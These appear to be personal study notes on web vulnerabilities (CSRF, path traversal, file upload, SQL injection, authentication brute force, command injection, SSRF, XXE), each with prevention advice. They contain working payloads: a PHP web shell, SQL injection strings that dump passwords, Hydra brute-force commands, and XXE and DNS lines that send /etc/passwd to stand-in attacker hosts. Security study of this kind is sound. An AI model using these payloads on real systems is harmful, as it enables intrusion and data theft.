# Cross-site request forgery (CSRF)

Trick a user into performing an action they don't intend to perform. This could be:

* changing their account email to allow for password reset,
* changing content or users on the site, or
* transfering funds to the attacker.

## Key factors

For CSRF to be possible:

1. There must be an action a user can be tricked into performing unintentionally,
2. Only session cookies are used to validate the user's permission to perform the action; and
3. The action must have predictable parameters (e.g. no CSRF tokens involved).

This HTTP request is vulnerable to CSRF:

POST /email/change HTTP/1.1  
Host: vulnerable-website.com  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 30  
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE  
  
email=wiener@normal-user.com

The attacker can create a page with the following HTML page to cause the user to change their email address when a victim visits it:

<html>  
 <body>  
 <form action="https://vulnerable-website.com/email/change" method="POST">  
 <input type="hidden" name="email" value="pwned@evil-user.net" />  
 </form>  
 <script>  
 document.forms[0].submit();  
 </script>  
 </body>  
</html>

For the above to work, the victim must be logged in to the vulnerable website and the session cookie is not using the SameSite attribute.

:warning: CSRF attacks can also occur when HTTP basic auth or cerfiticate auth is used by a site.

### CSRF SameSite defense

An attribute set on session cookies that can have one of two values:

* Strict: the cookie is only sent with same-site requests.
* Lax: the cookie is sent with same-site requests and top-level GET navigations (e.g. user clicking a link).

The risk with Lax is that some sites will allow sensitive actions to be performed via GET requests, even if not explicitly coded that way.

## Attacks

CSRF are delivery is similar to XSS and depends on the HTTP verb used to perform the action:

* POST: create an HTML form with the action and params and induce the victim to visit the page.
* GET: create an image element with the malicious action as a src and have the victim visit the page:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

There are several different ways to bypass CSRF defenses, depending on the site:

* CSRF not validated for GET requests.
* CSRF not validated if token is missing.
* CSRF not tied to user session and only checked for validity. In this case, the attacker can use their own CSRF token in the attack.
* CSRF tied to a non-session cookie. Relies on the attacker being able to set a cookie on the victim's browser.
* CSRF is set in the cookie ("double submit cookie pattern") and the attacker can set the cookie on the victim's request.

## Referer based validation

Some sites attempt to prevent CSRF by checking the Referer header. However this header can be spoofed or crafted in such a way to bypass the check.

# Bypass check where referer header must start with the vulnerable site domain  
http://vulnerable-website.com.attacker-website.com/csrf-attack  
  
# Bypass check were referer must appear in the header value  
http://attacker-website.com/csrf-attack?vulnerable-website.com

:bulb: Modern browsers now strip query parameters from the Referer header. You can override this by setting the Referrer-Policy: unsafe-url header on your request.

## XSS vs CSRF

Both attacks involve causing the victim to unintentionally perform an action:

* 'XSS': caues the victim to execute malicious JavaScript on the vulnerable site.
* 'CSRF': causes the victim to perform an action on the vulnerable site through visiting a malicious page.

CSRF is generally harder to exploit because most sites implement CSRF defenses and the attacks usually only apply to a subset of user actions.

CSRF are also only "one-way" in that they cause a user to submit a request, but the attacker cannot see the response directly. With XSS the attacker can see the response and can use it to further their attack.

### XSS and CSRF tokens

Reflected XSS can be mitigated by CSRF tokens since they add a unique value to each request. But, CSRF tokens are not always validated for all requests and can be bypassed.

Stored XSS are not prevented by CSRF as they trigger when the user visits the page, which will include a valid CSRF token generated by the site.

## Prevent

* Use CSRF tokens with high entropy that are tied to the user's session.
* Use SameSite cookies.
* Provide additional forms of verification on sensitve requests.

## CSRF tokens

Unique, high-entropy random value submitted with a user's request. The server validates the token to ensure the request is not a CSRF attack. Additional context specific values (e.g. timestamp + salt) can be used to generate the token, which makes it harder to guess.

These tokens should be transmitted either as:

* a hidden field that appears before any user controllable content to prevent the attacker from inserting their own token into the request; or
* a header value since browsers prevent injecting custom headers on cross-domain requests.

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

Tokens should not be transmitted as GET request parameters because:

* it will be logged in client/server-side logging,
* it is visible in the user's address bar, and
* it can be transmitted in the Referer header to third parties.

## Tools

* [Burp web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)
* [Generate CSRF PoC (pro)](https://portswigger.net/burp/documentation/desktop/functions/generate-csrf-poc)

## References

* <https://portswigger.net/web-security/csrf>

# Directory traversal :open\_file\_folder:

Gain access to files and directories that are stored outside the web root directory. This can be accomplished in a variety of ways for requests that take user supplied input and use it to retrieve a file:

# Relative path traversal  
https://server.com/loadimage?filename=../../../etc/passwd  
  
# Absolute path traversal  
https://server.com/loadimage?filename=/etc/passwd  
  
# Known start path with relative traversal  
https://server.com/loadimage?filename=/var/www/images/../../../etc/passwd  
  
# Relative path traversal with null byte  
https://server.com/loadimage?filename=../../../etc/passwd%00.png  
  
# Relative path traversal with escaped paths  
https://server.com/loadimage?filename=....//....//....//etc/passwd  
https://server.com/loadimage?filename=..../..../..../etc/passwd  
  
# Relative path traversal with URL encoded paths %2E%2E%2F == ../  
https://server.com/loadimage?filename=%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd

## Prevent

* Do not allow user supplied input to be used to retrieve files.
* Strip all path traversal characters from user supplied input.
* Do not allow server process to read files outside of defined asset directories.
* Change file retrieval requests against safelist of allowed paths and files.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)
* [BApp Store > Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)

## References

* https://portswigger.net/web-security/file-path-traversal

# File upload vulnerabilities :page\_with\_curl:

Vulnerabilities caused by accepting file uploads without sufficiently validating the file's content, size, or type. In some cases the upload itself is the attack, other times the attacker will request the file they've upload to trigger the attack.

There are several types of attackes:

* Content not validated: allow an attacker to execute arbitrary script or code on the server.
* File name/location not validated: allow an attacker to overwrite existing files or upload files to a location they should not have access to.
* Size not validated: use file upload to consume memory and disk space (DoS).

## How web servers handle file requests

Web servers typically handle responses for resources as follows:

* Non-executable files: the file is served back to the user (e.g. .png).
* Executable file: the file is processed by the web server and the result is sent back to the user (e.g. .php or .jsp).
* Executable file but server not configured to execute: this will either trigger an error or send the content of the file back to the user, which can result in source code leakage.

:bulb: use the Content-Type header's MIME type to determine what type of file the server thinks it has sent you.

## Attacks

### Deploying a web shell

A web shell is when an attacker can upload a file that allows them to execute any command on a web server:

# execute arbitrary commands  
# GET /example/exploit.php?command=echo%20%2Fetc%2Fpasswd HTTP/1.1  
<?php echo system($\_GET['command']); ?>

### Exploit file upload validation

#### Flawed file type validation

Uploads using multipart/form-data will send a request like the following:

POST /images HTTP/1.1  
Host: normal-website.com  
Content-Length: 12345  
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456  
  
---------------------------012345678901234567890123456  
Content-Disposition: form-data; name="image"; filename="example.jpg"  
Content-Type: image/jpeg  
  
[...binary content of example.jpg...]  
  
---------------------------012345678901234567890123456  
Content-Disposition: form-data; name="description"  
  
Some image description right here  
  
---------------------------012345678901234567890123456--

If the server trusts the Content-Type: image/jpeg value in the request and performs no further validation, it easy to upload a malicious file.

#### Bypass strict execution control in user-controlled directories

Server will usually be configured to prevent execution of any files in user upload directories. It may be possible to cause the file to be uploaded to a new, unexpected location by altering the filename parameter in the upload request:

POST /images HTTP/1.1  
Host: normal-website.com  
Content-Length: 12345  
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456  
  
---------------------------012345678901234567890123456  
Content-Disposition: form-data; name="image"; filename="../../exploit.php"  
Content-Type: image/jpeg  
  
<?php echo system($\_GET['command']); ?>

#### Insufficient block of malicious filetypes

Servers may be configured to prevent execution of .php files, but may not block lesser known dynamic file types like .php5 or .shtml.

##### Overriding server configuration

It may be possible to upload a file that changes the configuration for a given directory, thereby allowing execution of the malcious file:

# .htaccess granting execution of .php files in an a user controlled upload directory  
LoadModule php\_module /usr/lib/apache2/modules/libphp.so  
AddType application/x-httpd-php .php

#### Obfuscation of file extension

Cause the server to execute a file with a different extension:

* Altered case: malicious.pHp
* Double file extenstion: malicious.php.jpg
* URL encoded file extension: malicious%2Ephp
* Null byte or semicolon to terminate: malicious.php%00.jpg or malicious.php;.jpg
* Unicode encoding: malicious%u002ephp
* Buried file extension, which will be stripped by the server: malicious.p.phphp

#### Flawed validation of file contents

Servers may try to determine file contents by checking properties of the files:

* Image file dimensions; or
* Expected byte sequences in the file.

However, these can be faked with something like [ExifTool](https://exiftool.org/).

#### Upload race conditions

Relies on the attacker uploading and attempting to execute the malicious file before the file server can scan and determine the file is malicious.

This can also be perfomed by file upload that accepts a file URL. The attacker can attempt to lengthen the amount of time they have for an attack by putting the attack payload at the beginning of the file and then padding the upload with arbitrary data.

### Exploits without server-side execution

* XSS: upload a file that is consumed by other users (e.g. profile picture) and attacks the other user's account.
* XXE: if the file accepts XML based uploads, you can attempt attackes through files like .doc or .xls files.

### Upload via PUT

Some servers will accept file uploads through PUT requests that are not as rigorously validated as POST requests.

:bulb: You can use an OPTIONS request to check if PUT is supported.

## Prevent

* Validate the file type, size, and content.
* Use an established file upload framework.
* Randomise the file name and location.
* Do not allow directory traversal characters ../ in the filename.
* Only move files to the server's permanent file system once they have been validated.
* Determine the safe max file size that can be uploaded.
* Deny execution of all files by default and then safe-list specific file types that can be executed.
* IP rate limit on file uploads to prevent DoS.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy/using)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using)
* [ExifTool](https://exiftool.org/)

## References

* https://portswigger.net/web-security/file-upload

# Information disclosure :eye:

When a website or service leaks information about:

* it's users (PII);
* sensitive commercial or business data; or
* technical details about the service infrastructure.

This can then allow the attacker to cause harm to the users, business or service itself (through exploiting known vulnerabilities with the infrastructure).

## Examples

* Revealing names and structure of hidden directories.
* Gaining access to backups and sensitive files.
* Error messages providing too much technical detail to the user.
* Exposing highly sensitive information, like credit cards, in the application logs or GUI.
* Hard-coded credentials in source code.
* 'Fingerprinting' the hosting platform by through server headers.
* Determining underlying existence/absense of resources by observing differences between responses.

## Techniques

Information disclosure can be triggered and detected by:

* Fuzzing: sending a large number of requests with varying inputs to see how the application behaves.
* Scanning: using a tool like [Burp Scanner](https://portswigger.net/burp/vulnerability-scanner) to test for and identify information leakage during browsing.
* Causing errors: attempting to cause error conditions in the application to see what information is revealed in the error messages.

## Sources of information disclosure

* Web crawler files like robots.txt and sitemap.yml which can reveal hidden directories.
* Web server automatic directory listings (poorly configured web servers can reveal hidden directories).
* Developer commesn in source code
* Error messages providing too much information
* Debug data in the response
* User account pages with poor authorization controls
* Backup files which can leak the application source code
* Insecure build pipeline or web server configuration
* Version control history

## Prevent

* Ensure all members of the service team know what information is and isn't considered sensitive so that it can be treated consistenly.
* Keep error messages generic and devoid of technical details.
* Disable stack trace and log output to the user in production.
* Audit code and build logs for sensitive information.
* Ensure production services have a secure configuration that strips as mush identifying information as possible from the responses (e.g. response header fingerprinting).

## Tools

* [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)
* [Burp Scanner](https://portswigger.net/burp/vulnerability-scanner)

## References

* https://portswigger.net/web-security/information-disclosure
* https://portswigger.net/web-security/information-disclosure/exploiting

# SQL injection :syringe:

Allows an attacker to interfere with, and alter, SQL queries being performed by the app. Relies on string concatenation from unsanitized user input directly into the SQL query.

The attack can come in various forms:

1. Immediate bypass of WHERE clause.
2. Information disclosure using UNION queries.
3. Stored SQL injection. This is where the attacker can inject SQL into the database, and have it executed later.

## Prevent

Simple to prevent in an app by using parameterized queries and never allowing dynamic query construction.

with db\_connection.cursor(prepared=True) as cursor:  
 stmt = "INSERT INTO notes (note, owner\_id) VALUES (%s, %s)"  
 cursor.execute(stmt, (note, owner\_id))

## Examples

### Bypass WHERE clause

# Insecure query  
query = f"SELECT username FROM users WHERE username = '{username}' AND password = '{password}'"  
  
# If username is passed as either of the following, attack will succeed as the password check is  
# bypassed by the SQL comment `--`.  
username = "admin'--"  
username = "admin' OR 1=1--"

### Information disclosure

# Insecure query  
query = f"SELECT product\_name FROM products WHERE product\_id = {product\_id}"  
  
# Retrieve all users and passwords  
# The UNION query concatenates multiple columns togehter into a single column  
# as only one column is being returned by the original query  
product\_id = "1 UNION SELECT CONCAT(`username`, ' ', `password`) FROM users--"  
  
# View database schema  
product\_id = "1 UNION SELECT CONCAT(`table\_name`, ' ', `column\_name`) FROM information\_schema.columns--"

## Test

1. Use [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy) to intercept requests and send them to the [Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater).
2. Alter the request payloads and observe the response.

### Tips

If requests are being blocked, try encoding the attack using a tool like Hackvertor. Firewalls can sometimes be circumvented by hex and decimal encoding, which the application will decode and execute.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)
* [BApp Store > Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)

## References

* https://portswigger.net/web-security/sql-injection

# Access control :name\_badge:

The authentication and authorization of a user (or service) to an application. Dictates who can acccess and what they can do. Includes:

* Authentication: identifies the user or service (who is this?)
* Session management: identifies subsequent requests from the same user or service (persist the authentication)
* Access control (authorization): determines what the user or service can access and actions they can perform (what can they do?)

Access control is business logic that is determined by humans and enforced by the code. Potential for errors and serious breaches are high.

## Types

### Vertical access control

Allow access to resources based on the role of the user (an administrator can access the admin panel).

#### Vertical privelege escalation

When a user is able to gain access to a role or user they should not have access to. A simple example is gaining access to the admin panel. Types are:

* Unprotected functionality: insufficient access control on a resource and relies on that resource being hidden (e.g. admin panel does not check if the request is for an authenticated administrator).
* Parameter based access control: when a user is able to provide a parameter that escalates their privileges (e.g. ?admin=true on a request).
* Platform misconfiguration: allow access to protected resources via unexecpted HTTP methods (e.g. PUT or DELETE instead of an expected POST or GET).

### Horizontal access control

Allow access to a subset of the same type of resources to users (a user can only access their own account profile page, but not other user's account profiles).

#### Horizontal privilege escalation

When a user gains access to another user's data or resources.

This can often be turned into a vertical privilege escalation by compromising a more priveleged user and then using that user to grant access to the attacker's account or create another privileged user account controlled by the attacker.

#### Insecure director object reference

When an attacker can directly access objects through input they supply. This can include:

* Direct access to databaes objects through a user-supplied ID (e.g. ?id=1).
* Direct access to filesystem objects by altering the URL (e.g. ?imageUrl=../../../ect/passwd).

### Context-dependent access control

Allow access to resources/actions based on some state (a user cannot remove items from their shopping cart after the checkout process has started).

#### Access control vulnerabilities in multi-step processes

When a user is able to bypass sections of a multi-step process, which can occur whena access controls are not applied consistently to all steps.

#### Referer based access control

When an application relies on the Referer HTTP header to enforce access control. Since this can be altered in the request, it allows for access control bypass.

An example could be if a page like /admin/deleteUser only checks for Referer=admin to perform access validation.

#### Location based access control

When ap application relies on geolocation IP lookup to enforce access control. This can be circumvented with a VPN.

## Access control models

* Programatic access control: matrix of stored permissions that can be applied to users, groups or roles. Permissions are applied before actions or access is performed to determine if it is allowed.
* Discretional access control (DAC): users or groups are given access to resources and **can** grant access to other users/groups.
* Mandatory access control (MAC): users or groups are given access to resources and **cannot** grant access to other users/groups.
* Role-based access control (RBAC): users are assigned roles which are given access to resources. A user can have multiple roles.

## Prevent

* Deny access by default to all resources. Implement an allow-list for resources that are accessible.
* Use a single access control model for the entire application to prevent confusion.
* Have developers thoroughly declare all access requirements for each resource.
* Do not rely on obfustication or hiding of resources to prevent access.
* Rigorously test access control for all resources and actions, ideally using automation.

## Tools

* [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)
* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy/using)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using)

## References

* https://portswigger.net/web-security/access-control
* https://portswigger.net/web-security/access-control/idor
* https://portswigger.net/web-security/access-control/security-models

# Authentication :unlock:

Vulnerabilities around logging into an application (proving your identity to that app). Generally fall into two categories:

1. Login susceptible to brute force attacks.
2. Authentication can by bypassed entirely (broken authentication).

## Prevent

1. Safeguard credentials: strong encryption and password hashing. Never pass or store credentials in plain text.
2. Multi-factor authentication: something you know (password), something you have (phone/token), and something you are (biometrics).
3. Rate limiting, account locking and CAPTCHA: prevent brute force attacks.
4. Review authentication/authorization logic: bugs can allow users to access resources they shouldn't be able to.
5. Review secondary authentication logic: new account and password reset flows can be vulnerable to account takeover.
6. Prevent user enumeration: do not use sequential user IDs, ensure error messages and request processing times are generic, and do not allow account enumeration via API endpoints.

## Password based vulnerabilities

### Brute forcing

Use a tool like [Hydra](https://github.com/vanhauser-thc/thc-hydra) or [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using) to brute force a login form. The tool will try a list of common usernames and passwords against the login form submission.

The following can all be used to perform user enumeration and hone the attack:

1. Error messages returned (Invalid username vs. Incorrect password)
2. Response times
3. Response status codes

This attack can be mitigated by IP based rate limiting, request throttling, account locking, MFA and CAPTCHAs.

# Brute force an https form POST submission  
# You can get the $LOGIN\_PATH and $FORM\_SUBMIT\_PAYLOAD using Burp Proxy or your browser's dev tools  
hydra \  
 -L "$FILE\_WITH\_USERNAMES" \  
 -P "$FILE\_WITH\_PASSWORDS" \  
 "$URL\_OR\_IP" \  
 https-post-form "$LOGIN\_PATH:$FORM\_SUBMIT\_PAYLOAD:$FAILURE\_MESSAGE"  
  
# Username and password list  
hydra \  
 -L usernames.list \  
 -P passwords.list \  
 web-security-academy.net \  
 https-post-form "/login:username=^USER^&password=^PASS^:Invalid username"  
  
# Known user and password list  
hydra \  
 -l the\_big\_cheese \  
 -P passwords.list \  
 web-security-academy.net \  
 https-post-form "/login:username=^USER^&password=^PASS^:Invalid username"  
  
# Known user and password list, checking for a 302 HTTP response code (success condition)  
hydra \  
 -l the\_big\_cheese \  
 -P passwords.list \  
 web-security-academy.net \  
 https-post-form "/login:username=^USER^&password=^PASS^:S=302"

#### Considerations

* Account locking: can lead to user enumeration by indicating the account exists. When an account is locked, the error message should remain generic.
* Credential stuffing: relies on people using the same password across multiple sites. Uses a dictionary of username:password combinations and only tries each username once, thereby bypassing account locking. This must be caught with rate limiting or throttling.
* IP based rate limiting flaws: if a successful login resets the rate limit counter, an attacker can bypass the rate limit by logging in with a valid account every n attempts. Rate limiting should be unconditional for a set period based on the IP address. This can be bypassed by using multiple IP addresses to conduct the attack.

## Multi-factor vulnerabilities

Vulnerabilities can include:

* Checking the same factor twice (e.g. email based code) since this is only confirming the user knows their email login (both factors are "something you know").
* Using a weak factor (e.g. SMS based code) since this can be intercepted or fall victim to SIM card swapping.
* Second factor entry could be brute forced since it is usually a short number.
* Once login has succeeded and the second factor is requested, if there are flaws in the application logic, it may be possible to:
  + Bypass the second factor entirely by jumping directly to a page in the application.
  + User jump by altering the session cookie to login as a different user.

## Other vulnerabilities

* Insecure password reset: allow an attacker to reset any user's password by guessing the reset link or altering the request to reset a different user's password.
* Resetting passwords by mail: sending a temporary password to a user's email address. Email is considered insecure and there is a risk of that email being intercepted. Only provide high-entropy password reset links by email.
* Keeping users logged in: relies on using a cookie. If the cookie is insecure, an attacker can guess how to recreate it or alter a cookie for their own account to login as another user. This can be mitigated by second factor verification.

### Keeping users logged in

A remember me cookie will include a value that can be used to authenticate the user. As a result, it's susceptible to brute forcing if you can determine how the cookie value is generated.

# Remember me cookie example  
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw;

Burp Proxy will automatically recognize the value as a base64 encoded string or you can decode it yourself:

# Decode the cookie value  
echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d  
weiner:51dc30ddc473d43a6011e9ebba6ca770

You can then use the following tools to determine the hash type and check the result for a known value:

# Identify hash type  
hashid -m "$HASH"  
hash-identifier "$HASH"  
  
# Generate a hash of differnt types to compare against a known hashed value.  
# The `-n` is required to prevent printing the newline character  
# which would alter the hash returned.  
echo -n "foo" | openssl dgst -md5  
echo -n "bar" | openssl dgst -sha256

Once you know the hashing, you can begin brute forcing the hashed value using [Burp Intruder (view solution)](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie).

## Tools

* [Hydra](https://github.com/vanhauser-thc/thc-hydra)
* [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)

## References

* https://portswigger.net/web-security/authentication
* https://portswigger.net/web-security/authentication/password-based
* https://portswigger.net/web-security/authentication/securing

# Business logic vulnerabilities :bug:

Flaws and bugs in how an application processes user requests. These are typically caused by an attacker interacting with the application in a way the developers did not anticipate.

## Examples

### Excessive trust in client-side controls

Assuming that requests will only come through the user interface and be subjected to client-side validation. Easily bypassed by tools like Burp Suite.

### Failing to handle unconventional input

Bugs triggered by receiving user input that is not of the expected type or within the expected range (e.g. a negative number when only positive values are expected). This must be caught with input and business logic validation.

### Making flawed assumptions about user behavior

Assuming that users will interact predictably. This can include:

* Not following an expected workflow sequence;
* Not providing all required input; and
* Not remaining trustworthy after initial authentication.

### Providing an encryption oracle

Occurs when user provided input is then returned as cipher text to the user. This can allow the attacker to determine the encryption algorithm and key used by the application.

## Tips

* Look for all requests that submit input to the server and check if there is adequate server-side validation.
* Submit input that satisfies validation, but is outside of expected ranges (e.g. negative numbers in a scenario where they do not make sense).
* Attempt to bypass sections of workflows (skip ahead to the end).

## Prevent

1. Make sure all developers and testers understand the application logic.
2. Validate all user inputs.
3. Write clear, simple code that is easy to understand and test.
4. Break complex logic into smaller, simpler functions and ensure each function is thoroughly tested.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)
* [BApp Store > Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)

## References

* https://portswigger.net/web-security/logic-flaws
* https://portswigger.net/web-security/logic-flaws/examples

# Command injection :syringe:

Allow an attacker to execute OS commands on the server. Occurs when a user's input is passed to a shell command without sufficient sanitization.

Example:

# Passing `echo hello` to the shell  
# If this appears in the response, the command injection is successful  
https://insecure-website.com/stockStatus?productID=%26%20echo%20hello%20%26  
  
# Blind injection - using timing to determine if the command was successful  
# `& ping -c 10 127.0.0.1 &` will take 10 seconds to complete  
https://insecure-website.com/stockStatus?productID=%26%20ping%20-c%2010%20127.0.0.1%20%26  
  
# Blind injection - writing to a file in the web root  
# `& whoami > /var/www/static/whoami.txt &` and then fetch with https://vulnerable-website.com/whoami.txt  
https://vulnerable-website.com/stockStatus?productID=%26%20whoami%20%3E%20%2Fvar%2Fwww%2Fstatic%2Fwhoami.txt%20%26  
  
# Blind injection - DNS query to a malicious DNS server  
# `& nslookup kgji2ohoyw.web-attacker.com &` and then check query logs. DNS can also be used to exfiltrate data.  
https://vulnerable-website.com/stockStatus?productID=%26%20nslookup%20kgji2ohoyw.web-attacker.com%20%26

Injected commands usually end with & to prevent subsequent commands from stopping the injected command from running.

## Injection characters

The following can all be uesd to inject commands:

&  
&&  
|  
||  
;  
Newline (0x0a or \n)  
  
# Bash specific  
`  
$(

## Prevent

1. Do not allow user input to be used in any shell commands.
2. If there's no other option, validate user input against a safelist of allowed characters or commands.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)
* [BApp Store > Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)

## References

* https://portswigger.net/web-security/os-command-injection

# Cross-origin resource sharing (CORS) :knot:

## Prevent

## Tools

## References

# Server-side request forgery (SSRF) :fountain\_pen:

Cause a server to make requests to an unintented location. This can be an internal or external server and can result in:

* information leakage;
* account compromise; or
* an attack that appears to come from the compromised server.

SSRF attacks rely on exploiting trust, generally between an app and backend systems.

## Common attacks

### SSRF against self

Attacker causes the server to request itself via localhost or 127.0.0.1. This may bypass access controls since the request is coming from the server.

# Request for product stock  
POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1  
  
# Change to request for the `/admin` page via localhost  
POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=http://localhost/admin

This works for various reasons:

* Access controls are not part of the API that is handling requests from the server itself.
* Admin interface may be on a different port that is not accessbile to the internet, but is available on localhost.

#### SSRF attacks against other systems

Attacks where the server makes a request against other backend systems that are part of the application's private network. This can be effective since these backend systems will have a weaker security posture as they are thought to be secure because of the network topology.

POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=http://192.168.0.68/admin

### Circumvent SSRF protection

#### Deny-list input filters

If an application does not allow strings like localhost or 127.0.0.1 to be processed, use alternate representations:

1. 2130706433, 017700000001, or 127.1.
2. Register a domain that resolves to 127.0.0.1.
3. Use URL encoding or case variation to bypass string matching.

#### Allow-list input filters

If an application only allows requests to safelisted domains, they can sometimes be bypassed based on how URLs are parsed:

https://evil-host.com#good-host.com # URL fragment  
https://good-host.com.evil-host.com # Subdomain parsing  
https://good-host.com@evil-host.com # Userinfo parsing

The above can be combined with URL encoding to help bypass filters.

#### Bypass via open redirects

If application contains an open redirect vulnerability, you can use it to bypass allow list filters:

POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=https://feedingfromthegardenuntilhistickerisjammed.com/product?id=42&path=http://192.168.0.68/admin

### Blind SSRF

When an attack succeeds and sends a request to a backend server, but does not send a response back to the attacker.

Detect using an out-of-band technique (OAST) where you send a request a server you control and monitoring for the SSRF request.

:bulb: It is common when testing for SSRF vulnerabilities to use a DNS lookup as the out-of-band technique. This is because DNS lookups are usually permitted from most networks. You can then check if only the DNS lookup succeeds and there is no subsequent HTTP request. This indicates there is network filtering blocking your SSRF attack.

To exploit blind SSRF vulnerabilities:

* Send requests to the internal IP address space with known vulnerability payloads. You may get lucky and stumble upon an unpatched vulnerability.
* It is also possible to have the HTTP request from an SSRF vulnerability return a malicious response in an attempt to gain control over the system.

## Prevent

* Deny all outbound requests by default and safelist only what is required.
* Safelist DNS lookups from your network to prevent OAST.
* Safelist incoming requests to ensure they are to legitimate source. As much as possible, use constants for the IP or URL so that it cannot be altered by an attacker.

## Tools

* [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using)

## References

* https://portswigger.net/web-security/ssrf
* https://portswigger.net/web-security/ssrf/blind

# XML external entity (XXE) injection :syringe:

Uses XML data processing by a server to execute attacks against a server. Can allow an attacker to:

* Read files on the server;
* Compromise the server; or
* Execute SSRF attacks.

Attacks occur when applications use XML to transmit data and do not disable potentially dangerous processing of XML entities.

:bulb: This type was more prevelant before JSON became the dominant data transfer format, but it is still sometimes exploitable.

## XML refresher

* XML entities: represent special characters in XML documents such as &amp;, &gt; and &lt;.
* Document type definition (DTD): defines the structure of an XML document. DTD is defined using a DOCTYPE tag.
* XML custom entity: define a custom entity in a DTD: <!DOCTYPE foo [ <!ENTITY bar "bambaz" > ]> which will cause &bar; to be replaced with the value bambaz.
* XML external entity: define an external entity in a DTD using the SYSTEM keyword. They can be referenced from a local file or URL:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>  
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Most XXE attacks are caused by XML external entities.

## XXE attacks

* Retrieve file contents:

<!-- Return the contents of `/etc/passwd` -->  
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

* Perform SSRF attack:

<!-- Return contents of `http://internal-website.com` -->  
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://internal-website.com" > ]>

* Blind XXE to exfiltrate data:

<!-- Cause the contents of `/etc/passwd` to be send to http://evil-corp.com -->  
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd" >  
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://evil-corp.com/?x=%file;'>"> %eval; %exfiltrate; ]>`

* Blind XXE to retrieve data via error messages: attacker triggers an XML parsing error that leaks sensitive data.

:bulb: When testing for XXE vulnerabilities, you will often need to test each node of the XML document to see if it is vulnerable.

### Retrieve file contents

Attacker must introduce or edit the DOCTYPE. For example, an XML request that gets stock levels:

<?xml version="1.0" encoding="UTF-8"?>  
<stockCheck><productId>381</productId></stockCheck>  
  
<!-- Alter to include a doctype that references a local file with a new `&xxe;` entity -->  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>  
<stockCheck><productId>&xxe;</productId></stockCheck>

### Perform SSRF attack

Induce the application to make a request and return the resonse from an internal system:

<!--   
Reponse will include response from http://internal.vulnerable-website.com/ if output is displayed to the user  
Otherwise, this is a blind XXE attack  
-->  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>  
<stockCheck><productId>&xxe;</productId></stockCheck>

### XXE via file upload

If an application allows XML to be uploaded. This can include SVG files, which are XML. For example, an SVG file that displays a message:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>  
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">  
 <text x="0" y="15" fill="red">&xxe;</text>  
</svg>

It may also be possible to cause the server to accept an SVG file even if it only accepts PNG or JGP image types by changing the file extension:

# null byte and semicolon termination  
malicious.svg%00.jpg  
malicious.svg;.jpg`

### XXE via modified content type

Although an application may expect to receive request payloads in a specific type, it may be tolerant of XML payloads:

# Expected format  
POST /action HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
